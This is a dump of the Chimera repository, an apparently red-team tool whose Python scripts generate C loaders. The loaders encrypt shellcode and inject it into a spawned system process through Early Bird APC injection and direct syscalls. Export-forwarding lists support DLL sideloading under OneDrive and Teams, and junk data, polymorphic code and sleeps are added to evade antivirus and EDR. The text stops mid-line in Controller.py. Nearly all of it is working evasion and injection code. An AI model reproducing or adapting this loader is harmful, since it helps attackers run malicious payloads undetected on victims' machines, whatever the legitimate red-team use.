├── Images ├── image.png ├── Chimera.png ├── image 2.png ├── image 3.png ├── image 4.png ├── image 5.png ├── image 6.png └── image 7.png ├── Injection ├── Module_Stomping.py └── EarlyBird_Injection.py ├── Evasion ├── JitterSleeper.py ├── Junk.py ├── Polymorphic2.py ├── Polymorphic1.py └── Obfuscator.py ├── Chimera.py ├── Templates ├── Shellcode.py ├── Split_Xor_Shellcode.py ├── Arguments.py ├── Controller.py ├── Banner.py └── C_Template.py ├── Encryption ├── Choose_Decryption.py ├── Xor.py ├── AES.py └── Choose_Encryption.py ├── Dll_Names └── Dlls.py ├── LICENSE ├── Dll_Exports ├── onedrive_exports_version_dll.txt └── ms_teams_exports_usernev_dll.txt ├── Visualstudio_Files ├── header_files │ └── syscalls_mem.h ├── syscallsstubs.std.x64.asm └── syscalls.c ├── .gitignore └── README.md /Images/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image.png -------------------------------------------------------------------------------- /Images/Chimera.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/Chimera.png -------------------------------------------------------------------------------- /Images/image 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 2.png -------------------------------------------------------------------------------- /Images/image 3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 3.png -------------------------------------------------------------------------------- /Images/image 4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 4.png -------------------------------------------------------------------------------- /Images/image 5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 5.png -------------------------------------------------------------------------------- /Images/image 6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 6.png -------------------------------------------------------------------------------- /Images/image 7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/georgesotiriadis/Chimera/HEAD/Images/image 7.png -------------------------------------------------------------------------------- /Injection/Module_Stomping.py: -------------------------------------------------------------------------------- 1 | def ModuleStomping(): 2 | module_stomping= f"""works""" 3 | return module_stomping 4 | -------------------------------------------------------------------------------- /Evasion/JitterSleeper.py: -------------------------------------------------------------------------------- 1 | def jitterSleeper(time): 2 | sleep = f""" 3 | Sleep({time}); 4 | """ 5 | return sleep -------------------------------------------------------------------------------- /Chimera.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from Templates.Banner import print_banner 4 | from Templates.Controller import Controller 5 | 6 | def main(): 7 | """Calls the controller""" 8 | #Print Banner 9 | print_banner() 10 | Controller() 11 | 12 | 13 | # Initiates the tool 14 | if __name__ == '__main__': 15 | main() 16 | 17 | 18 | -------------------------------------------------------------------------------- /Templates/Shellcode.py: -------------------------------------------------------------------------------- 1 | from Encryption.Choose_Encryption import ChosenEncryption 2 | 3 | def EncryptedShellcode(shellcode_var,ciphertext_split): 4 | # Generates a string representing encrypted shellcode 5 | # Integrates with the chosen encryption method 6 | 7 | shellcode = f""" 8 | #pragma once 9 | unsigned char {shellcode_var}[] = {ciphertext_split} 10 | """ 11 | return shellcode 12 | -------------------------------------------------------------------------------- /Encryption/Choose_Decryption.py: -------------------------------------------------------------------------------- 1 | def Choose_Decryption(encryption_type,xor_func,shellcode_var,key_var): 2 | xor_dec=f""" 3 | {xor_func}({shellcode_var}, sizeof({shellcode_var}), {key_var}, sizeof({key_var})); 4 | """ 5 | 6 | aes_dec=f""" 7 | AESDec((char *) {shellcode_var}, sizeof({shellcode_var}), (char *) {key_var}, sizeof({key_var})); 8 | """ 9 | 10 | if encryption_type == "AES": 11 | return aes_dec 12 | else: 13 | return xor_dec 14 | -------------------------------------------------------------------------------- /Dll_Names/Dlls.py: -------------------------------------------------------------------------------- 1 | def dll_names(): 2 | # Assigns the filename for the Microsoft Teams exports 3 | teams = "ms_teams_exports_usernev_dll.txt" 4 | 5 | # Assigns the filename for the OneDrive exports 6 | onedrive = "onedrive_exports_version_dll.txt" 7 | 8 | # Dictionary mapping simple names to their corresponding export filenames 9 | file_options = {"teams": teams, "onedrive": onedrive} 10 | 11 | # Returns the dictionary for use in other parts of the application 12 | return file_options 13 | -------------------------------------------------------------------------------- /Encryption/Xor.py: -------------------------------------------------------------------------------- 1 | import random 2 | from Templates.Split_Xor_Shellcode import split_xor_shellcode 3 | # generate random 4 byte key 4 | key = ''.join([chr(random.randint(0, 255)) for i in range(4)]) 5 | 6 | #xor oeperation function 7 | def DoXor(data, key): 8 | l = len(key) 9 | output_str = "" 10 | 11 | for i in range(len(data)): 12 | current = data[i] 13 | current_key = key[i % len(key)] 14 | output_str += chr((current) ^ ord(current_key)) 15 | 16 | 17 | return output_str 18 | 19 | def keyHex(key): 20 | key_hex = ''.join(['\\x' + hex(ord(x))[2:].zfill(2) for x in key]) 21 | 22 | return key_hex 23 | -------------------------------------------------------------------------------- /Templates/Split_Xor_Shellcode.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | 4 | def split_xor_shellcode(ciphertext): 5 | # Splits encrypted shellcode into manageable chunks 6 | # Formats them for use in the application 7 | 8 | # Split the ciphertext into chunks of 50 hex values 9 | chunks = [ciphertext[i:i+50] for i in range(0, len(ciphertext), 50)] 10 | # Convert each chunk to a string of comma-separated hex values 11 | chunk_strings = [', '.join(['0x' + hex(ord(x))[2:].zfill(2) for x in chunk]) for chunk in chunks] 12 | # Combine the chunk strings and format them into a shellcode string 13 | ciphertext_split = '{\n\t' + ',\n\t'.join(chunk_strings) + '\n};' 14 | return ciphertext_split 15 | 16 | 17 | def split_aes_shellcode(ciphertext): 18 | ciphertext_split = '' 19 | 20 | lines = [ciphertext[i:i+60] for i in range(0, len(ciphertext), 60)] 21 | 22 | # Join the lines with newline characters to create the final result 23 | ciphertext_split = '\n'.join(lines) 24 | 25 | 26 | return ciphertext_split 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 georgesotiriadis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Encryption/AES.py: -------------------------------------------------------------------------------- 1 | #pip install crypto, pycryptodome 2 | import sys 3 | #For Linux 4 | from Cryptodome.Cipher import AES 5 | #For Windows 6 | #from Crypto.Cipher import AES 7 | from secrets import token_bytes 8 | from binascii import unhexlify 9 | import random 10 | import hashlib 11 | import binascii 12 | 13 | keyAES = token_bytes(16) 14 | 15 | def returnKey(keyAES): 16 | hex_values = [f'0x{byte:02x}' for byte in keyAES] 17 | keyAES = '{' + ', '.join(hex_values) + '}' 18 | 19 | return keyAES 20 | 21 | def encryptAES(plaintext, keyAES): 22 | 23 | def pad(s): 24 | padding_length = AES.block_size - len(s) % AES.block_size 25 | padding = bytes([padding_length] * padding_length) 26 | 27 | return s + padding 28 | 29 | def aesenc(plaintext, keyAES): 30 | k = hashlib.sha256(keyAES).digest() 31 | iv = bytes(16) 32 | cipher = AES.new(k, AES.MODE_CBC, iv) 33 | ciphertext = cipher.encrypt(pad(plaintext)) 34 | hex_values = [f'0x{byte:02x}' for byte in ciphertext] 35 | ciphertext = '{' + ', '.join(hex_values) + '};' 36 | 37 | return ciphertext 38 | 39 | ciphertext = aesenc(plaintext, keyAES) 40 | 41 | return str(ciphertext) 42 | -------------------------------------------------------------------------------- /Encryption/Choose_Encryption.py: -------------------------------------------------------------------------------- 1 | def ChosenEncryption(encryption_type,xor_func): 2 | 3 | aes = f""" 4 | int AESDec(char* size, unsigned int size_len, char* encryptionKey, size_t keySize) {{ 5 | HCRYPTPROV hHash; 6 | HCRYPTHASH hHaHash; 7 | HCRYPTKEY hencryptionKey; 8 | 9 | if (!CryptAcquireContextW(&hHash, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {{ 10 | return -1; 11 | }} 12 | if (!CryptCreateHash(hHash, CALG_SHA_256, 0, 0, &hHaHash)) {{ 13 | return -1; 14 | }} 15 | if (!CryptHashData(hHaHash, (BYTE*)encryptionKey, (DWORD)keySize, 0)) {{ 16 | return -1; 17 | }} 18 | if (!CryptDeriveKey(hHash, CALG_AES_256, hHaHash, 0, &hencryptionKey)) {{ 19 | return -1; 20 | }} 21 | 22 | if (!CryptDecrypt(hencryptionKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)size, (DWORD*)&size_len)) {{ 23 | return -1; 24 | }} 25 | 26 | CryptReleaseContext(hHash, 0); 27 | CryptDestroyHash(hHaHash); 28 | CryptDestroyKey(hencryptionKey); 29 | 30 | return 0; 31 | }} 32 | """ 33 | 34 | xor=f""" 35 | void {xor_func}(unsigned char* data, size_t data_len, char* key, size_t key_len) 36 | {{ 37 | int j; 38 | j = 0; 39 | for (int i = 0; i < data_len; i++) 40 | {{ 41 | if (j == key_len - 1) j = 0; 42 | data[i] = data[i] ^ key[j]; 43 | j++; 44 | }} 45 | }}; 46 | """ 47 | 48 | if encryption_type == "AES": 49 | return aes 50 | else: 51 | return xor 52 | -------------------------------------------------------------------------------- /Dll_Exports/onedrive_exports_version_dll.txt: -------------------------------------------------------------------------------- 1 | #pragma comment(linker, "/export:GetFileVersionInfoA=tmp44BC.GetFileVersionInfoA,@1") 2 | #pragma comment(linker, "/export:GetFileVersionInfoByHandle=tmp44BC.GetFileVersionInfoByHandle,@2") 3 | #pragma comment(linker, "/export:GetFileVersionInfoExA=tmp44BC.GetFileVersionInfoExA,@3") 4 | #pragma comment(linker, "/export:GetFileVersionInfoExW=tmp44BC.GetFileVersionInfoExW,@4") 5 | #pragma comment(linker, "/export:GetFileVersionInfoSizeA=tmp44BC.GetFileVersionInfoSizeA,@5") 6 | #pragma comment(linker, "/export:GetFileVersionInfoSizeExA=tmp44BC.GetFileVersionInfoSizeExA,@6") 7 | #pragma comment(linker, "/export:GetFileVersionInfoSizeExW=tmp44BC.GetFileVersionInfoSizeExW,@7") 8 | #pragma comment(linker, "/export:GetFileVersionInfoSizeW=tmp44BC.GetFileVersionInfoSizeW,@8") 9 | #pragma comment(linker, "/export:GetFileVersionInfoW=tmp44BC.GetFileVersionInfoW,@9") 10 | #pragma comment(linker, "/export:VerFindFileA=tmp44BC.VerFindFileA,@10") 11 | #pragma comment(linker, "/export:VerFindFileW=tmp44BC.VerFindFileW,@11") 12 | #pragma comment(linker, "/export:VerInstallFileA=tmp44BC.VerInstallFileA,@12") 13 | #pragma comment(linker, "/export:VerInstallFileW=tmp44BC.VerInstallFileW,@13") 14 | #pragma comment(linker, "/export:VerLanguageNameA=tmp44BC.VerLanguageNameA,@14") 15 | #pragma comment(linker, "/export:VerLanguageNameW=tmp44BC.VerLanguageNameW,@15") 16 | #pragma comment(linker, "/export:VerQueryValueA=tmp44BC.VerQueryValueA,@16") 17 | #pragma comment(linker, "/export:VerQueryValueW=tmp44BC.VerQueryValueW,@17") 18 | -------------------------------------------------------------------------------- /Evasion/Junk.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import re 4 | from lorem.text import TextLorem 5 | 6 | def junk(size): 7 | # separate words by ',' 8 | # sentence length should be between 300 and 500 9 | size1 = 0 10 | 11 | if size == 1: 12 | lorem = TextLorem(wsep=',', srange=(0,1)) 13 | s1 = lorem.sentence() 14 | 15 | if size > 1: 16 | left = random.randrange(random.randrange(1,5),random.randrange(5,10)) 17 | right = random.randrange(random.randrange(50,100),random.randrange(100,200)) 18 | size1 = random.randrange(int(size1)+left,int(size)+right) 19 | 20 | if size > size1: 21 | lorem = TextLorem(wsep=',', srange=(int(size1),int(size))) 22 | s1 = lorem.sentence() 23 | elif size1 > size: 24 | lorem = TextLorem(wsep=',', srange=(int(size),int(size1))) 25 | s1 = lorem.sentence() 26 | elif size1 == size: 27 | lorem = TextLorem(wsep=',', srange=(int(size),int(size1)+random.randrange(5,100))) 28 | s1 = lorem.sentence() 29 | 30 | # Define the characters to choose from 31 | characters = string.ascii_letters 32 | 33 | # Generate a random string of specified length 34 | length = random.choice(range(6,30)) 35 | random_string = ''.join(random.choice(characters) for _ in range(length)) 36 | 37 | #Fix issue c2026 38 | random_data = '"\n"'.join(re.findall(r'.{1,1024}', s1)) 39 | 40 | #Create a variable to include in the template 41 | words = f""" {s1.split(",")} """ 42 | words = words.replace("[","{") 43 | words = words.replace("]","}") 44 | words = words.replace("'","\"") 45 | variable = f""" 46 | string {random_string}[{s1.count(',')+1}] = {words}; 47 | """ 48 | 49 | return variable 50 | -------------------------------------------------------------------------------- /Templates/Arguments.py: -------------------------------------------------------------------------------- 1 | # Define the usage message so that the user will know how the script works 2 | # Documentation 3 | import argparse 4 | import sys 5 | def parse_arguments(): 6 | 7 | 8 | # Define the usage message so that the user will know how the script works 9 | # Documentation 10 | parser = argparse.ArgumentParser( 11 | description="Example: [raw payload file] [output path] [process name] [dll_exports]\n") 12 | # All the possible arguments 13 | parser.add_argument("--raw", "-r", help="Path to file containing shellcode", 14 | type=str,nargs=1,required=True) 15 | parser.add_argument("--path", "-p", help="Path to output the C template file", 16 | type=str,required=True) 17 | parser.add_argument("--pname", "-n", help="Name of process to inject shellcode into", 18 | type=str,required=True) 19 | parser.add_argument("--dexports", "-d", help="Specify which DLL Exports you want to use either teams or onedrive", 20 | type=str,nargs=1,choices=['teams', 'onedrive'],required=True) 21 | parser.add_argument("--enc", "-e", help="Specify which encryption you prefer (XOR / AES)", 22 | type=str,nargs=1,choices=['XOR', 'AES'],required=True) 23 | parser.add_argument("--inj", "-i", help="Specify which injection technique you prefer (EB / MS)", 24 | type=str,choices=['EB', 'MS'],required=True) 25 | parser.add_argument("--rshell", "-s", help="[Optional] Replace shellcode variable name with a unique name", 26 | type=str,required=False, default="encoded_shell") 27 | parser.add_argument("--rxor", "-x", help="[Optional] Replace xor encryption name with a unique name", 28 | type=str,required=False, default="do_xor") 29 | parser.add_argument("--rkey", "-k", help="[Optional] Replace key variable name with a unique name", 30 | type=str,required=False, default="key") 31 | parser.add_argument("--rsleep", "-z", help="[Optional] Give total sleep time to include during execution (seconds)", 32 | type=int,required=False,default=4000) 33 | parser.add_argument("--size", "-f", help="[Optional] File size of junk data in KB. Zero (0) is disabled (default), and one (1) is random filesize.", 34 | type=int,required=False,default=0) 35 | 36 | args = parser.parse_args() 37 | if (len(sys.argv)) < 1: 38 | parser.print_help() 39 | sys.exit(1) 40 | return args 41 | -------------------------------------------------------------------------------- /Visualstudio_Files/header_files/syscalls_mem.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW3_HEADER_H_ 7 | #define SW3_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW3_SEED 0xB550E7F3 12 | #define SW3_ROL8(v) (v << 8 | v >> 24) 13 | #define SW3_ROR8(v) (v >> 8 | v << 24) 14 | #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) 15 | #define SW3_MAX_ENTRIES 500 16 | #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW3_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | PVOID SyscallAddress; 25 | } SW3_SYSCALL_ENTRY, * PSW3_SYSCALL_ENTRY; 26 | 27 | typedef struct _SW3_SYSCALL_LIST 28 | { 29 | DWORD Count; 30 | SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; 31 | } SW3_SYSCALL_LIST, * PSW3_SYSCALL_LIST; 32 | 33 | typedef struct _SW3_PEB_LDR_DATA { 34 | BYTE Reserved1[8]; 35 | PVOID Reserved2[3]; 36 | LIST_ENTRY InMemoryOrderModuleList; 37 | } SW3_PEB_LDR_DATA, * PSW3_PEB_LDR_DATA; 38 | 39 | typedef struct _SW3_LDR_DATA_TABLE_ENTRY { 40 | PVOID Reserved1[2]; 41 | LIST_ENTRY InMemoryOrderLinks; 42 | PVOID Reserved2[2]; 43 | PVOID DllBase; 44 | } SW3_LDR_DATA_TABLE_ENTRY, * PSW3_LDR_DATA_TABLE_ENTRY; 45 | 46 | typedef struct _SW3_PEB { 47 | BYTE Reserved1[2]; 48 | BYTE BeingDebugged; 49 | BYTE Reserved2[1]; 50 | PVOID Reserved3[2]; 51 | PSW3_PEB_LDR_DATA Ldr; 52 | } SW3_PEB, * PSW3_PEB; 53 | 54 | DWORD SW3_HashSyscall(PCSTR FunctionName); 55 | BOOL SW3_PopulateSyscallList(); 56 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); 57 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); 58 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); 59 | typedef VOID(KNORMAL_ROUTINE) ( 60 | IN PVOID NormalContext, 61 | IN PVOID SystemArgument1, 62 | IN PVOID SystemArgument2); 63 | 64 | typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; 65 | 66 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 67 | IN HANDLE ProcessHandle, 68 | IN OUT PVOID* BaseAddress, 69 | IN OUT PSIZE_T RegionSize, 70 | IN ULONG NewProtect, 71 | OUT PULONG OldProtect); 72 | 73 | EXTERN_C NTSTATUS NtWriteVirtualMemory( 74 | IN HANDLE ProcessHandle, 75 | IN PVOID BaseAddress, 76 | IN PVOID Buffer, 77 | IN SIZE_T NumberOfBytesToWrite, 78 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL); 79 | 80 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 81 | IN HANDLE ProcessHandle, 82 | IN OUT PVOID* BaseAddress, 83 | IN ULONG ZeroBits, 84 | IN OUT PSIZE_T RegionSize, 85 | IN ULONG AllocationType, 86 | IN ULONG Protect); 87 | 88 | EXTERN_C NTSTATUS NtQueueApcThread( 89 | IN HANDLE ThreadHandle, 90 | IN PKNORMAL_ROUTINE ApcRoutine, 91 | IN PVOID ApcArgument1 OPTIONAL, 92 | IN PVOID ApcArgument2 OPTIONAL, 93 | IN PVOID ApcArgument3 OPTIONAL); 94 | 95 | EXTERN_C NTSTATUS NtResumeThread( 96 | IN HANDLE ThreadHandle, 97 | IN OUT PULONG PreviousSuspendCount OPTIONAL); 98 | 99 | #endif 100 | -------------------------------------------------------------------------------- /Injection/EarlyBird_Injection.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from Encryption.Choose_Decryption import Choose_Decryption 4 | from Evasion.Obfuscator import obfuscator 5 | 6 | def EarlyBird(shellcode_var,ciphertext_split,process_to_inject,xor_func,key_var,key_hex,encryption_type,array,size): 7 | EarlyBird_Injection=f""" 8 | 9 | if (!executed) 10 | {{ 11 | 12 | 13 | executed = TRUE; 14 | 15 | LPVOID allocation_start; 16 | SIZE_T allocation_size = sizeof({shellcode_var}); 17 | NTSTATUS status = NULL; 18 | 19 | 20 | allocation_start = nullptr; 21 | 22 | char {key_var}[] = {key_hex}; 23 | 24 | STARTUPINFOA si = {{ 0 }}; 25 | PROCESS_INFORMATION pi = {{ 0 }}; 26 | 27 | 28 | CreateProcessA("C:\\\\Windows\\\\system32\\\\{process_to_inject}", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); 29 | HANDLE victimProcess = pi.hProcess; 30 | HANDLE threadHandle = pi.hThread; 31 | 32 | /*++ 33 | 34 | Routine Description: 35 | 36 | CheckRemoteDebuggerPresent() is another Win32 Debugging API function; 37 | it can be used to check if a remote process is being debugged. However, 38 | we can also use this as another method for checking if our own process 39 | is being debugged. This API internally calls the NTDLL export 40 | NtQueryInformationProcess function with the PROCESSINFOCLASS set to 41 | 7 (ProcessDebugPort). 42 | 43 | Arguments: 44 | None 45 | Return Value: 46 | 47 | TRUE - if debugger was detected 48 | FALSE - otherwise 49 | --*/ 50 | BOOL bIsDbgPresent = FALSE; 51 | DWORD oldProtect= NULL; 52 | CheckRemoteDebuggerPresent(GetCurrentProcess(), &bIsDbgPresent); 53 | // Allocate Virtual Memory 54 | NtAllocateVirtualMemory(victimProcess, &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 55 | 56 | 57 | {Choose_Decryption(encryption_type,xor_func,shellcode_var,key_var)} 58 | 59 | // Copy shellcode into allocated memory 60 | NtWriteVirtualMemory(victimProcess, allocation_start, {shellcode_var}, sizeof({shellcode_var}), 0); 61 | NtProtectVirtualMemory(victimProcess, &allocation_start, (PSIZE_T)&allocation_size, PAGE_EXECUTE_READ, &oldProtect); 62 | 63 | 64 | NtQueueApcThread(threadHandle, PKNORMAL_ROUTINE(allocation_start), allocation_start, NULL, NULL); 65 | NtResumeThread(threadHandle, NULL); 66 | 67 | 68 | return 0; 69 | }} 70 | """ 71 | return EarlyBird_Injection 72 | -------------------------------------------------------------------------------- /Evasion/Polymorphic2.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import base64 4 | 5 | # Generate a random variable name 6 | def generate_variable_name(): 7 | return ''.join(random.choices(string.ascii_letters, k=random.randint(3, 10))) 8 | 9 | # Generate a random C++ expression using specific variables 10 | def generate_expression(variables): 11 | variable_name = random.choice(variables) 12 | expression = f"{variable_name} += {random.randint(1, 100)};\n" 13 | return expression 14 | 15 | # Generate a random complex C++ expression 16 | def generate_complex_expression(variables): 17 | variable_name = random.choice(variables) 18 | expression = f"{variable_name} = (2 * ({variable_name} + {random.randint(1, 10)})) / {random.randint(1, 5)};\n" 19 | return expression 20 | 21 | # Generate random C++ junk code 22 | def generate_cpp_junk_code(variables, additional_variables): 23 | value1 = random.choice(range(1,1000000)) 24 | value2 = random.choice(range(1,1000000)) 25 | code = "\tint num"+str(value1)+" = "+str(value1)+";\n" 26 | code += "\tint size"+str(value1)+" = "+str(value1)+";\n" 27 | code += "\tunsigned long long* ptr"+str(value1)+";\n" 28 | code += "\t" + "// Variable pool\n" 29 | for variable in variables: 30 | code += f"\tint {variable} = 0;\n" 31 | code += "\n" 32 | code += "\t" + "// Additional variable pool\n" 33 | for var_type, variable in additional_variables: 34 | code += f"\t{var_type} {variable};\n" 35 | code += "\n" 36 | code += "\t" + "// Random expressions\n" 37 | for _ in range(random.randint(20, 30)): 38 | code += "\t" + generate_expression(variables) 39 | code += "\n" 40 | code += "\t" + "// Complex expressions\n" 41 | for _ in range(random.randint(10, 15)): 42 | code += "\t" + generate_complex_expression(variables) 43 | code += "\n" 44 | code += "\t" + "// Print variable values\n" 45 | for _ in range(random.randint(5, 10)): 46 | variable_name = random.choice(variables) 47 | code += f"\t// {variable_name}: " + variable_name + "\n" 48 | code += "\n" 49 | code += "\t" + "// Loops and memory allocation\n" 50 | code += "\tint* ptr"+str(value2)+" = new int(1000);\n" 51 | code += "\tfor (int i"+str(value2)+" = 0; i"+str(value2)+" < 10; i"+str(value2)+"++) {\n" 52 | code += "\t\tint size"+str(value2)+" = rand() % 100 + 1;\n" 53 | code += "\t\t*ptr"+str(value2)+" = (size"+str(value2)+" * sizeof(int));\n" 54 | code += "\t\tfor (int j"+str(value2)+" = 0; j"+str(value2)+" < size"+str(value2)+"; j"+str(value2)+"++) {\n" 55 | code += "\t\t\t(j"+str(value2)+") = rand() % 100;\n" 56 | code += "\t\t}\n" 57 | code += "\t}\n" 58 | code += "\n" 59 | code += "\t" + "// Obfuscated code\n" 60 | code += "\n" 61 | code += "\n" 62 | 63 | return code 64 | 65 | def generate_code(): 66 | # Generate variable pools 67 | variable_pool = [generate_variable_name() for _ in range(random.randint(5, 10))] 68 | additional_variable_pool = [] 69 | for _ in range(random.randint(3, 5)): 70 | var_type = random.choice(["double", "float", "int"]) 71 | variable = generate_variable_name() 72 | additional_variable_pool.append((var_type, variable)) 73 | 74 | # Generate random C++ junk code 75 | cpp_junk_code = generate_cpp_junk_code(variable_pool, additional_variable_pool) 76 | return f'''{cpp_junk_code}''' 77 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 105 | __pypackages__/ 106 | 107 | # Celery stuff 108 | celerybeat-schedule 109 | celerybeat.pid 110 | 111 | # SageMath parsed files 112 | *.sage.py 113 | 114 | # Environments 115 | .env 116 | .venv 117 | env/ 118 | venv/ 119 | ENV/ 120 | env.bak/ 121 | venv.bak/ 122 | 123 | # Spyder project settings 124 | .spyderproject 125 | .spyproject 126 | 127 | # Rope project settings 128 | .ropeproject 129 | 130 | # mkdocs documentation 131 | /site 132 | 133 | # mypy 134 | .mypy_cache/ 135 | .dmypy.json 136 | dmypy.json 137 | 138 | # Pyre type checker 139 | .pyre/ 140 | 141 | # pytype static type analyzer 142 | .pytype/ 143 | 144 | # Cython debug symbols 145 | cython_debug/ 146 | 147 | # PyCharm 148 | # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can 149 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 150 | # and can be added to the global gitignore or merged into this file. For a more nuclear 151 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 152 | #.idea/ 153 | -------------------------------------------------------------------------------- /Templates/Controller.py: -------------------------------------------------------------------------------- 1 | import random 2 | import os 3 | 4 | from Dll_Names.Dlls import dll_names 5 | from Encryption.Xor import DoXor,key,keyHex 6 | from Templates.Split_Xor_Shellcode import split_xor_shellcode,split_aes_shellcode 7 | from Templates.C_Template import template 8 | from Templates.Arguments import parse_arguments 9 | from Templates.Shellcode import EncryptedShellcode 10 | from Encryption.AES import encryptAES,keyAES,returnKey 11 | from Evasion.Obfuscator import obfuscatorArray,obfuscatorSize 12 | 13 | 14 | def Controller(): 15 | # Coordinates the overall functionality of the application 16 | # Integrates functions from DLL names, encryption, shellcode processing, and evasion 17 | 18 | #DLL_EXPORTS FOLDER PATH 19 | folder_path="./Dll_Exports/" 20 | 21 | array_dll_names=dll_names() 22 | 23 | # read the shellcode from the file and then encrypt it 24 | # Also output folder will be specified & the name of the process which will be injected 25 | args = parse_arguments() 26 | try: 27 | plaintext = open(args.raw[0],"rb").read() 28 | output_folder = args.path 29 | process_to_inject = args.pname 30 | file_alias = 